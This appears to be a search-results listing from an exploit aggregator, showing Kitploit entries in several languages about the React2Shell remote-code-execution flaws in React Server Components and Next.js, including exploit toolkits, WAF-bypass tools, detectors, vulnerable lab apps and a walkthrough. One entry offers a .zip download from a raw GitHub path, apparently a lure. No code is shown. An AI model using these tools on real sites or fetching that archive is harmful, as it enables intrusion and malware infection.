Lucene search
+L

136 matches found

Kitploit
Kitploit
added 2026/08/31 11:21 a.m.2 views

CVE-2025-55182-Exploit-extension

Детектор отпечатков RSC Расширение Chrome для обнаружения отпечатков React Server Components RSC и Next.js App Router на веб-страницах. ⚠️ Важное уведомление Это расширение предназначено только для образовательных целей и исследований в области безопасности. Оно включает функциональность, которая...

10CVSS7.3AI score0.99802EPSS
SaveExploits387References1
Kitploit
Kitploit
added 2026/08/31 11:20 a.m.4 views

react2shellVulnApp

React2Shell Vulnerable Banking Application Lab Deliberately vulnerable banking app for CVE-2025-55182 React and CVE-2025-66478 Next.js to learn, detect, and safely exercise React2Shell. Runs unpatched React 19.0.0 and Next.js 15.0.3. Overview Fictional SecureBank built with Next.js App Router and...

7.4AI score
SaveExploits0
Kitploit
Kitploit
added 2026/08/31 11:20 a.m.3 views

CVE-2025-55182-bypass

CVE-2025-55182 Обход заголовка Обход заголовка Next-Action для CVE-2025-55182. Достигает React RSC RCE без характерных заголовков, обходя правила WAF. Ключевое открытие Заголовок Next-Action НЕ требуется для эксплуатации...

10CVSS7.4AI score0.99802EPSS
SaveExploits387
Kitploit
Kitploit
added 2026/08/31 8:14 a.m.1 views

CVE-2025-55182-Exploiter

🛡️ RSC Sentinel Pro 고급 React Server ComponentsRSC 감사기 및 CVE-2025-55182 익스플로잇 툴킷 🔥 탐지. 지문인식. 익스플로잇. Next.js App Router RSC 취약점, 특히 CVE-2025-55182RSC 역직렬화 RCE를 대상으로 하는 보안 연구원 및 버그 헌터용 Chrome 확장 프로그램입니다. ✅ Dify , Vercel 배포 앱 및 기타 RSC 활성 사이트에서 작동 ✅ 제로 가짜 양성false positive — 실제 대상에서 입증됨 ✅ 연구원이 연구원을 위해 제...

10CVSS7AI score0.99802EPSS
SaveExploits387
Kitploit
Kitploit
added 2026/08/31 8:02 a.m.2 views

React2Shell-Kingdom

React CVE-2025-55182 취약점 데모 프로젝트 ⚠️ 보안 경고 이 프로젝트는 React Server Components 19.1.1의 심각한 RCE 취약점CVE-2025-55182 / React2Shell을 시연합니다. 교육 및 보안 연구 목적으로만 사용하세요 절대 프로덕션 환경에 배포하거나 신뢰할 수 없는 네트워크에 노출하지 마세요 격리되고 통제된 환경에서만 실행하세요 테스트 전에 적절한 권한을 받았는지 확인하세요 개요 이 프로젝트는 React Server Components 19.1.1의 심각한 원격 코드...

10CVSS7.4AI score0.99802EPSS
SaveExploits387
Kitploit
Kitploit
added 2026/08/31 6:54 a.m.4 views

HTB-Reactor-Linux-Machine-Walkthrough

HTB: Reactor !CAUTION Предупреждение о спойлерах. Это полное прохождение, включая флаги. Если вы хотите решить машину самостоятельно, закройте это сейчас и вернитесь, когда застрянете. Информация о машине Поле| Подробности ---|--- Название| Reactor ОС| Ubuntu 24.04 LTS Noble Сложность| Medium CVE...

10CVSS7AI score0.99802EPSS
SaveExploits387
Kitploit
Kitploit
added 2026/08/31 6:16 a.m.6 views

CVE-2025-66478-Exploit-Poc

Next.js CVE-2025-66478 PoC 英文 | 韩文 此仓库包含用于重现和研究 Next.js CVE-2025-66478 漏洞的概念验证 PoC。它由一个易受攻击的 Next.js 应用程序和一个用于测试漏洞的 Python 利用脚本组成。 什么是 CVE-2025-66478? 这是一个在 Next.js Server Actions 处理过程中发生的远程代码执行 RCE 漏洞。 关键要点: 根本原因 :RSC(React Server Components)Flight 协议中的不安全反序列化 。 攻击向量 :通过 proto 属性进行原型污染 。 漏洞摘要...

7AI score
SaveExploits112References2
Kitploit
Kitploit
added 2026/08/31 5:16 a.m.2 views

rsc-security-auditor

🛡️ RSC 보안 감사 도구 Next.js 및 React Server Components 스택에서 심각한 보안 취약점CVE-2025-66478, CVE-2025-55184을 탐지하세요. 🚨 긴급: 최근 공개된 정보2025년 12월에 따르면 React Server Components에서 심각한 DoS 및 RCE 취약점이 발견되었습니다. 이 도구는 package.json을 즉시 감사하는 데 도움을 줍니다. ⚡ 기능 🔒 프라이버시 우선: 100% 클라이언트 사이드. package.json 데이터는 브라우저를 절대 벗어나지 않습니다. ...

7.3AI score
SaveExploits0References2
Kitploit
Kitploit
added 2026/08/31 4:35 a.m.3 views

fix-react2shell-next

🚀 fix-react2shell-next - 당신의 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 앱의 취약점을 수정하세요 📥 지금 다운로드 📝 개요 fix-react2shell-next는 당신의 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 또는 React RSC 애플리케이션...

7AI score
SaveExploits112References1
Kitploit
Kitploit
added 2026/08/31 4:26 a.m.2 views

Nextjs_Exploit_Tool

Next.js RSC RCE Exploit Tool CVE-2025-55182 프로젝트 소개 CVE-2025-55182는 Next.js 서버 컴포넌트RSC 처리 체인에 존재하는 고위험 취약점으로, 공격자는 특수한 multipart/form-data 요청과 위조된 RSC 응답 블록을 구성하여 서버 측에서 임의의 JavaScript 코드가 실행되도록 유도할 수 있으며, 최종적으로 process.mainModule.require'childprocess'를 통해 원격 코드 실행을 달성합니다. 이 프로젝트는 이 취약점 악용 체인을 그래...

10CVSS7AI score0.99802EPSS
SaveExploits387References1
Kitploit
Kitploit
added 2026/08/31 4:21 a.m.3 views

rsc_detect_CVE-2025-55182

что это Для CVE-2025-55182 и CVE-2025-66478 Security Response: это не POC, а просто способ узнать, использует ли сайт React Server Components RSC или Next.js. Определение функции для обнаружения, использует ли веб-сайт React Server Components RSC или Next.js Скрипт для обнаружения, использует ли...

10CVSS7AI score0.99802EPSS
SaveExploits401
Kitploit
Kitploit
added 2026/08/31 3:40 a.m.3 views

Torito-R2S

Torito React2Shell Сканер и эксплойт-инструмент CVE-2025-55182 / 66478 Сканер, ориентированный на обнаружение, для целей Next.js RSC с опциональными режимами подтверждения PoC и эксплойта/оболочки. Используйте только на системах, которые вы уполномочены тестировать. Требования Python 3.9+ pip...

10CVSS7AI score0.99802EPSS
SaveExploits387References1
Kitploit
Kitploit
added 2026/08/31 1:45 a.m.3 views

CVE-2025-55182-poc

CVE-2025-55182 React Flight 协议漏洞,允许通过块引用进行原型链遍历。针对 bullshit-react-project 进行测试。 检测 以下内容略有过时,因为实际 PoC 现已公开。 Vite RSC :bash ./vite-detect.sh https://example.com Next.js :bash ./nextjs-detect.sh https://example.com 或者同时检测两者,只需运行 bash ./detect.sh https://example.com 两个脚本都接受可选的超时参数(Vite 默认 3 秒,Next.js...

10CVSS7AI score0.99802EPSS
SaveExploits387References3
Kitploit
Kitploit
added 2026/08/31 1:44 a.m.2 views

CVE-2025-55182-React-RCE

CVE-2025-55182-React-RCE 프로젝트 소개 및 원리 전 세계 최초로 RSC 기능을 기반으로 WAF 탐지를 우회할 수 있는 CVE-2025-55182 React Server RCE 취약점 EXP. The world’s first CVE‑2025‑55182 React Server RCE exploit that can bypass WAF detection by leveraging RSC-specific features. React Server 기본 환경에서 RCE를 구현합니다. 새로운 독창적인 EXP를 추가하여 WA...

10CVSS7AI score0.99802EPSS
SaveExploits387References1
Kitploit
Kitploit
added 2026/08/31 1:22 a.m.1 views

Quickcheck-CVE-2025-55182-React-and-CVE-2025-66478-Next.js

GitHub CVE Scanner 🔍 Quickly scan GitHub repositories for critical React and Next.js RSC vulnerabilities Overview A browser-based scanner that checks all GitHub repositories for known security vulnerabilities in React Server Components:...

10CVSS7AI score0.99802EPSS
SaveExploits401
Kitploit
Kitploit
added 2026/08/31 1:17 a.m.4 views

React2Shell

🔐 React2Shell - Набор инструментов для RCE через загрязнение RSC в Next.js Этот инструмент на Python эксплуатирует загрязнение прототипа React Server Components RSC в Next.js и цепочку гаджетов React.lazy-1 для полного доступа RCE, включая интерактивную god shell, загрузку файлов дроппер...

5.9AI score
SaveExploits0
Kitploit
Kitploit
added 2026/08/31 12:57 a.m.8 views

RSC-Detect-CVE-2025-55182

🔎 RSC-Detect — Детектор React Server Components Легковесная утилита для обнаружения React Server Components и приложений Next.js 🎯 Назначение RSC-Detect — это простой, узконаправленный инструмент для выявления сайтов, использующих React Server Components RSC и фреймворк Next.js. Он полезен для:...

10CVSS7AI score0.99802EPSS
SaveExploits387References1
Kitploit
Kitploit
added 2026/08/31 12:31 a.m.10 views

rschunter

RSC Hunter Мощный многопоточный сканер и эксплойт для уязвимостей React Server Component RSC. Этот инструмент предназначен для выявления и эксплуатации уязвимостей RCE в реализациях RSC, поддерживая различные методы обхода и стратегии. Примечание : Из-за огромной сложности поддержки полноценной...

5.9AI score
SaveExploits0
Kitploit
Kitploit
added 2026/08/31 12:05 a.m.4 views

CVE-2025-55183_POC

CVE-2025-55183 - Next.js RSC 서버 함수 소스 코드 노출 Next.js React Server ComponentsRSC의 소스 코드 노출 취약점입니다. 취약한 서버 함수로 전송된 악의적인 HTTP 요청은 인수가 문자열화될 때 모든 서버 함수의 소스 코드를 안전하지 않게 반환할 수 있습니다. 참고 작성자 : X/Twitter의 AndrewMohawk 실습 환경 설정 root@kitploit: git clone https://github.com/AndrewMohawk/RSC-sample-app.git cd...

5.3CVSS6.8AI score0.64233EPSS
SaveExploits7
Kitploit
Kitploit
added 2026/08/30 7:32 p.m.4 views

CVE-2025-55182

CVE-2025-55182: Уязвимость небезопасной десериализации React Server Components Обзор CVE-2025-55182 также известная как React2Shell — это критическая уязвимость небезопасной десериализации, обнаруженная в React Flight Protocol, затрагивающая полезные данные payload React Server Components RSC...

10CVSS7AI score0.99802EPSS
SaveExploits387
Rows per page
Query Builder